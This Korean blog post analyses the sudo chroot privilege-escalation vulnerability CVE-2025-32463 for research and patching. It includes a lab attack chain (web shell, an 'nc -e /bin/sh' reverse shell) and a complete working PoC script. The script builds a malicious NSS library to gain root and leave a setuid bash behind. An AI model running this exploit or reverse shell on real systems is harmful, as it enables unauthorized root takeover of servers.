지난 6월 30일 sudo 패키지 관련 취약점이 발표되었다. 해당 취약점은 sudo 버전 1.9.17 이전 버전에서 --chroot 옵션을 악용하여 일반 사용자가 루트 권한을 탈취할 수 있는 보안 결함이다.
sudo 패키지에서 발생하는 로컬 권한 상승 취약점으로 볼 수 있으며 CVSSv3 점수 7.8-9.3 을 획득했다.
기준 | 해당 취약점 반영 |
영향 버전 | 1.9.14 ~ 1.9.17p1 |
공격 벡터 | 로컬 - AV:L |
공격 복잡도 | 낮음 - AC:L |
필요 권한 | 낮음 또는 없음 - PR:L/PR:N |
영향 받는 버전은 1.9.14 에서 1.9.17p1 미만 버전에서 발생되며, 레거시 버전은 1.9.14 이전 버전의 경우 chroot 기능이 포함되지 않아 영향받지 않는다.
chroot 경로 적용 시점이 문제가 되었는데, 1.9.14 버전에서 도입된 변경사항으로 인해 sudoers 파일 평가 중에도 chroot 경로가 적용되었다.
이때 공격자는 NSS 설정 파일 - 사용자가 제어하는 디렉터리 내 /etc/nsswitch.conf 파일을 조작하여 임의 공유 라이브러리를 로드하도록 sudo 를 속인다. 이후 일반 사용자가 해당 라이브러리 로드를 통해 일반 사용자 계정으로 권한 상승이 가능하다.
결국 본 취약점의 경우, sudoers 정책 - 시스템 설정에서 특정 명령어에 대해 chroot 실행이 허용되어야하나, 일반적으로 해당 파일에서 chroot 지시자가 명시되어 위험하다 할 수 있다.
sudo가 sudoers 파일의 검증 과정에서 사용자가 지정한 디렉터리로 chroot 를 수행, 해당 - 그러니까 대상 서버에 존재하는 chroot 환경 내부 /etc/nsswitch.conf 파일을 참고하게 되고 공격자는 자신이 지정한 chroot 디렉토리 (쓰기 권한이 있는 디렉토리 등)에 조작된 nsswitch.conf 파일과 악성 공유 라이브러리 등 (libnss_*.so 등)을 생성하여 sudo 가 이를 로드, 임의 명령으로 root 권한으로 실행하도록 유도가 가능하다.
즉, sudo 는 사용자가 특정 명령에 대한 실행 권한이 있는지 sudoers 파일을 통해 체크하는데, sudoers 파일을 완전하게 평가하기 이전에 지정한 chroot 디렉토리로 pivot_root - chroot 동작이 수행되며, /etc/nsswitch.conf 파일을 기준으로 모듈 로딩이 수행된다. 이때 chroot 내부 악성 nsswitch.conf 및 공유 라이브러리가 존재한다면 이를 root 권한으로 로드 및 실행이 가능하다는 것이다.
관련 함수로 pivot_root, set_cmnd_path, command_matched 등이 있고, 본 함수들이 취약하며 pivot_root 가 보안 정책 검증 - 허가 여부 검사 이전에 호출되어 문제가 발생하는 것이다.
요약
- 공격자가 조작된 nsswitch.conf 와 악성 공유 라이브러리 (libnss_*.so 등)을 만들고 sudo 가 root 권한으로 이를 로드하게 만든다는 점.
- 해당 과정에서 sudoers 정책 검증 전 chroot 동작이 발생하여 우회가 가능하다는 점.
- 정책 검증 로직의 논리적 오류 (chroot/파일 로딩 순서)로 인하여 발생한 취약점 이라는 점.
→ 함수 호출 순서 및 보안 검증 타이밍이 잘못 설계되어 함수 자체 백엔드 구현 (권한 검사 및 파일 검증 등)에 대한 문제도 있지만 로직 흐름 설계 결함 (policy evaluatio 전 chroot 가 우선 실행되는 구조적 문제) 이 더 근본적인 원인이라고 할 수 있다.
우선 이론에 앞서 해당 CVE 에 대한 시나리오를 구상해보았다.
- 공격자는 서버 장악을 위해 업로드 취약점 구간을 이용하여 Webshell 형식 (명령 수행)의 쉘 파일 업로드를 수행함.
- 업로드된 악성코드 쉘 파일을 이용하여 Reverse Shell 커넥션을 진행함.
- 리버스 커넥션을 이용하여 서버 연결 이후, 설치된 sudo 버전을 확인, CVE-2025-32463 공격을 수행함.
- CVE 공격으로 root 권한이 탈취됨.
해당 시나리오에서 주의 사항은 다음과 같다.
1. sudoers 에 chroot 지시자 존재여부 확인
- 실제 공격을 위해 sudoers 파일 내 chroot 지시자가 명시되어야함. (ex. ALL ALL=(root) NOPASSWD: /user/sbin/chroot /path/to/dir command) 해당 지시자가 존재하지 않는 경우, 우회 권한 상승이 불가함.
- 본 실습 수행 시, 사전에 sudoers 파일을 chroot 지시자 추가를 위해 요구될 수도 있음.
2. 악성파일 배치 및 실행 환경
- 임의 쓰기 권한이 있는 경로 내 조작된 nsswitch.conf 및 악성 libnss_*.so 파일 배치가 요구되며, 해당 경로 내 chroot 지정이 가능해야함.
- 공격자의 임의 경로 지정 (리버스 쉘, 디렉터리 접근 등)이 불가할 경우, PoC 실패 가능성이 존재함.
- 공유 라이브러리 조작 시, 해당 서버의 아키텍처, libc 버전 등도 맞아야해서 대상 서버 환경에 맞는 공유 라이브러리가 요구됨.
취약점 CVE-2025-32463 실습
실습환경 구성방법
CVE-2025-32463 - Vulnerable App Settings
취약점 CVE-2025-32463 에 대한 실습을 하기 위한 환경세팅 방법을 정리한 글이다.해당 취약점에 대한 정리에 대해 서술한 글의 경우, 아래 글을 참고하도록 하자.해당 취약점의 경우, 모의해킹이나
tistory.kaiht.kr
취약점 CVE-2025-32463 에 대한 환경구축 이후 취약점 분석은 다음과 같이 수행된다.
실습환경 대상목록
대상 | IP | 비고 |
공격 대상 게시판 사이트 | 10.89.0.19 | 게시판 웹 서비스 (업로드 취약점 존재) 컨테이너 환경 Local IP |
공격자 IP | 119.xx.yy.185 | 공격대상 서버와 다른 네트워크 |
취약점 실습 상세
우선 공격 대상 웹 서비스 내 명령어를 실행시켜야하므로 업로드 취약점이 발생하는 구간 내 웹쉘 업로드를 수행해준다.
일반적인 웹쉘 환경에서는 sudoers.d, sudoers 파일, sudo -l 권한, chroot 지시자 등 poc 파일 배치와 실행, 결과확인 및 2차 확장시에 제한되고 오류 확인이 어려우므로 웹쉘을 이용한 리버스 쉘 권한 취득이 필요하다.
nc -e /bin/sh 127.0.0.1 9191
해당 공격 대상 서버에서 9191 포트 - 공격지 서버 포트 정보로 리버스 쉘을 시도한다. ip가 로컬 host 로 사용된 이유는 테스트 환경 상 tcptunneling 설정이 되어있기 때문이다. (환경 구성 페이지 참조)
리버스 쉘 획득에 성공하고 공격자 서버에서 리버스 쉘을 이용하여 명령어를 이용하면 입력하는 명령에 대해 정상 수행 가능한 것을 확인할 수 있다.
서버 내에서 리버스 쉘 획득 성공 여부를 확인하고 이후 CVE-2025-32463 공격을 위해 쉘 파일을 작성해주자.
cat > cve-2025-32463.sh << 'EOF'
#!/bin/bash
STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > kai_ht.c<<'CEOF'
#include <stdlib.h>
#include <unistd.h>
void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
system("id > /tmp/pwned_proof.txt");
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
execl("/bin/bash", "/bin/bash", NULL);
}
CEOF
mkdir -p pentest/etc libnss_
echo "passwd: /kai_ht" > pentest/etc/nsswitch.conf
cp /etc/group pentest/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/kai_ht.so.2 kai_ht.c
echo "Exploiting CVE-2025-32463..."
sudo -R pentest pentest
rm -rf ${STAGE?}
echo "root permition enable!"
EOF
해당 코드는 shell 파일이긴 하나, libnss 파일 컴파일을 위한 서버 내 컴파일러가 요구된다. 때문에 해당 공격을 위한 gcc 및 컴파일러가 대상 서버에서 동작하는지에 대한 여부 확인이 요구된다.
※ 본 코드는 연구목적으로 작성된 코드다. 절대 실 네트워크 망에서 사용을 금하며, 참고용으로 확인하자.
해당 코드에 대한 책임을 작성자가 지지 않으며, 코드 사용에 대한 책임은 코드 사용 본인이 지는 것임을 잊지 말자.
해당 쉘 코드 실행 시, root 권한 탈취로 서버 내 root 권한이 요구되는 파일에 대한 임의 열람 및 실행이 가능한 것을 확인할 수 있다.
취약점이 발생하는 원인은 다음과 같이 정리할 수 있다.
chroot 의 동작 흐름 문제
- 본 sudo 의 정상흐름 (기대 흐름)
1. 사용자 명령어 Guessing 2. sudoers 정책 검증 (권한 확인) 3. 환경 설정 (chroot 등) 4. 명령어 실행 |
- 실제 동작 흐름
1. 사용자 명령어 Guessing 2. chroot 환경 변경 (pivot_root 실행) // 문제 발생 지점 3. sudoers 정책 검증 (변경된 환경에서 검증 유발) 4. 명령어 실행 |
기술적 세부사항
1. pivot_root 함수 조기 실행
- pivot_root 함수가 보안 정책 검증 - permission check 이전 호출
- 사용자 지정 임의 디렉터리로 파일 시스템 루트가 변경 가능
- 이후 모든 파일 참조가 공격자가 제어하는 환경에서 수행
2. NSS - Name Service Switch 시스템 악용
- sudo 인증 과정 중, /etc/nsswitch.conf 파일을 참조하여 사용자 정보 조회 모듈 로드 시, 해당 모듈에 대한 조작이 가능함.
- /etc/nsswitch.conf 파일 예시:
2.1. 정상 nsswitch.conf 파일
passwd: files systemd group: files systemd |
2.2. 공격자 조작 파일 (PoC 참고)
passwd: /kai_ht group: /kai_ht |
3. 악성 공유 라이브러리 로드
- chroot 환경에서 sudo가 /etc/nsswitch.conf 를 읽음
- 공격자가 지정한 NSS 라이브러리 (libnss_/kai_ht.so.2) 를 참조
- 해당 라이브러리가 root 권한으로 로드 및 실행
해당 PoC 코드에 대한 설명이다.
- STAGE 변수 내 /tmp 디렉토리 내 임시 작업 공간을 생성한다.
- 악성 NSS 라이브러리를 작성 ( uid/gid 세팅 및 root 쉘 실행 등) 한다. (kai_ht.c)
- chroot 환경을 구성하는데, pentest/etc/nsswitch.conf 파일, 그러니까 악성 라이브러리를 참조하는데, 이때 passwd 값을 설정해주고 gcc 를 이용한 악성코드를 생성한다.
- 만들어진 악성코드를 chroot 옵션으로 공격을 수행한다.
관련 핵심 함수
함수 명 | 설명 |
pivot_root | 파일시스템 루트 변경 |
set_cmnd_path | 명령어 경로 설정 - 변경된 환경에서 동작 |
command_matches | 명령어 매칭 검증 - 환경 변조 후 실행되어 우회 |
실질적인 문제
sudo 소스코드를 확인해보자.
int main() {
parse_args();
if (chroot_option) {
pivot_root(user_specified_dir);
}
load_sudoers_policy();
check_permissions();
execute_command();
}
해당 코드는 의사코드로 작성된 것이니 어느정도 참고만 하도록하자.
우선 사용자 입력값을 parse_args 함수를 통하여 입력 받는데, 이후 pivot_root 함수가 너무 빨리 수행되어 파일 시스템이 변경된다. 이후 변조된 환경에서 load_sudoers_policy(), check_permissions() 로 인하여 정책 로드와 권한 검사가 수행되어 해당 명령이 수행되게 된다.
종합하여, 본 취약점이 성공하기 위한 조건은 다음과 같다.
- sudo 버전 1.9.14 - 1.9.17 설치 및 이용
- sudoers 파일 내 chroot 지시자 존재
- sudo 권한 사용자 계정 접근 가능 여부
- 임의 디렉토리 내 쓰기 권한 여부
패치 및 대응방안
공식 패치 이용 (sudo 1.9.17p1)
- 사용자 지정 chroot 옵션 완전 제거
- 보안 정책 검증 순서 재구성
- pivot_root 호출 타이밍 수정
임시 대응책
# sudoers에서 chroot 관련 지시자 제거
sed -i '/chroot/d' /etc/sudoers
visudo -c # 문법 검증
종합
취약점 CVE-2025-32463 은 sudo 의 설계적 결함에서 비롯된 취약점이다.
해당 결함은 보안 검증보다 환경 변조보다 먼저 수행되어 환경 변조 이후에 보안 검증이 수행되는 구간이 핵심이라고 할 수 있다.
이는 아키텍처 레벨의 보안 설계 오류라고 할 수 있으며, Control Flow - 제어흐름 구간에서의 근본적 문제를 보여준다.
해당 취약점을 통해 시스템이든, 어플리케이션 단이든 어느 정도의 보안성이 요구되는 경우, 아키텍처 단의 설계가 중요하다고 볼 수 있다.
참고:
KISA 보호나라&KrCERT/CC
KISA 보호나라&KrCERT/CC
www.boho.or.kr:443
CVE-2025-32463 및 CVE-2025-32462 탐지: Sudo 로컬 권한 상승 취약점이 Linux 환경을 위협하다 | SOC Prime
CVE-2025-32463 및 CVE-2025-32462 — Sudo의 로컬 권한 상승 취약점에 대한 기술 분석을 SOC Prime 블로그에서 확인하세요.
socprime.com
sudo 보안 업데이트 권고 (CVE-2025-32463) - ASEC
sudo 보안 업데이트 권고 (CVE-2025-32463) ASEC
asec.ahnlab.com
[Vulnerability Alert] Sudo Local Privilege Escalation (CVE-2025-32462 & CVE-2025-32463)--BytePlus Security Bulletins-Byteplus
docs.byteplus.com
CVE-2025-6019 취약점 - Remove Spyware & Malware with SpyHunter - EnigmaSoft Ltd
공격자는 이제 새로 발견된 두 가지 로컬 권한 상승(LPE) 취약점을 악용하여 널리 사용되는 Linux 배포판을 실행하는 시스템에서 전체 루트 권한을 획득할 수 있습니다. 이러한 취약점을 패치하지
www.enigmasoftware.com
CVE-2025-26465 및 CVE-2025-26466 취약점이 시스템을 중간자 공격 및 DoS 공격에 노출시키다 | SOC Prime
SOC Prime 블로그에서 취약점 CVE-2025-26465 및 CVE-2025-26466 분석, OpenSSH 결함을 악용할 경우 발생할 수 있는 MitM 및 DoS 공격에 대해 탐구합니다.
socprime.com
GitHub - zinzloun/CVE-2025-32463: # CVE-2025-32463 – Sudo EoP Exploit (PoC) with precompiled .so
# CVE-2025-32463 – Sudo EoP Exploit (PoC) with precompiled .so - zinzloun/CVE-2025-32463
github.com
CVE‑2025‑32463: Critical Sudo “chroot” Privilege Escalation Flaw - Upwind
A critical vulnerability in sudo (Changelog v1.9.14–1.9.17) allows local users to gain root access via the --chroot (-R) option. This flaw carries a
www.upwind.io
GitHub - Mikivirus0/sudoinjection: Sudo Local Privilege Escalation CVE-2025-32463 (Best For Cases Where the shell is not stable
Sudo Local Privilege Escalation CVE-2025-32463 (Best For Cases Where the shell is not stable to spawn a new root shell) - Mikivirus0/sudoinjection
github.com
hackyboiz
hack & life
hackyboiz.github.io
Sudo 로컬 권한 상승 취약점 (CVE-2025-32462, CVE-2025-32463)
1. Sudo- 사용자에게 슈퍼유저나 다른 사용자의 권한으로 명령어를 실행할 수 있게 해주는 명령어- "sudo [명령어]" 형식으로 쓰이며, 해당 명령을 일시적으로 높은 권한으로 수행- sudo를 사용할 때
ggonmerr.tistory.com
PoC 코드:
GitHub - KaiHT-Ladiant/CVE-2025-32463: CVE-2025-32463 - Sudo Chroot Privilege Escalation Exploit
CVE-2025-32463 - Sudo Chroot Privilege Escalation Exploit - KaiHT-Ladiant/CVE-2025-32463
github.com
'CVE Analyze > CVE-2025-32463' 카테고리의 다른 글
CVE-2025-32463 - Vulnerable App Settings (3) | 2025.07.28 |
---|